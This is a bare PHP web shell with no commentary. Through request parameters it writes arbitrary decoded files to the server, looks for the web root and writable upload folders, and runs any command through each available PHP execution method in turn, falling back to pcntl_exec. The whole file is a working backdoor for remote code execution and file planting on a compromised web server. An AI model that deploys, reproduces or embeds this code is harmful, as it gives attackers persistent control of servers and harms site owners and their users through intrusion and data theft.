<?php
error_reporting(0);
$c = isset($_REQUEST['c']) ? $_REQUEST['c'] : 'id';
$p = isset($_REQUEST['p']) ? $_REQUEST['p'] : '';
$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';

// Write file mode
if($p && $s){
    @file_put_contents($p, base64_decode($s));
    echo file_exists($p) ? "OK:$p" : "FAIL";
    exit;
}

// Info mode
if($c == 'info'){
    $root = $_SERVER['DOCUMENT_ROOT'];
    $cwd = getcwd();
    if(preg_match('#(.+?/public_html)#', $cwd, $m)) $root = $m[1];
    elseif(preg_match('#(.+?/www)#', $cwd, $m)) $root = $m[1];
    elseif(preg_match('#(.+?/htdocs)#', $cwd, $m)) $root = $m[1];
    $dirs = ['public','assets','images','uploads','img','storage/files','storage/avatars'];
    $ok = [];
    foreach($dirs as $d){ if(is_dir("$root/$d") && is_writable("$root/$d")) $ok[] = $d; }
    if(is_writable($root)) $ok[] = '.';
    echo "ROOT:$root|DIRS:".implode(',',$ok);
    exit;
}

// RCE - try all methods
$methods = [
    'shell_exec' => function($c){ return @shell_exec($c); },
    'passthru' => function($c){ ob_start(); @passthru($c); return ob_get_clean(); },
    'system' => function($c){ ob_start(); @system($c); return ob_get_clean(); },
    'exec' => function($c){ @exec($c,$o); return implode("
",$o); },
    'popen' => function($c){ $h=@popen($c,'r'); if($h){$o=fread($h,8192);pclose($h);return $o;} return ''; },
    'proc_open' => function($c){ 
        $d=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
        $p=@proc_open($c,$d,$pp);
        if(is_resource($p)){$o=stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);return $o;}
        return '';
    },
    'backtick' => function($c){ return `$c`; },
];

foreach($methods as $name => $fn){
    $o = $fn($c);
    if($o && (strpos($o,'uid=')!==false || strlen($o)>5)){
        echo $o;
        exit;
    }
}

// pcntl_exec (needs fork)
if(function_exists('pcntl_fork') && function_exists('pcntl_exec')){
    $outfile = '/tmp/pcntl_'.uniqid().'.txt';
    $pid = pcntl_fork();
    if($pid == 0){ pcntl_exec('/bin/sh', ['-c', "$c > $outfile 2>&1"]); exit; }
    pcntl_waitpid($pid, $status); usleep(200000);
    if(file_exists($outfile)){ echo file_get_contents($outfile); @unlink($outfile); exit; }
}

echo "NO_RCE";
?>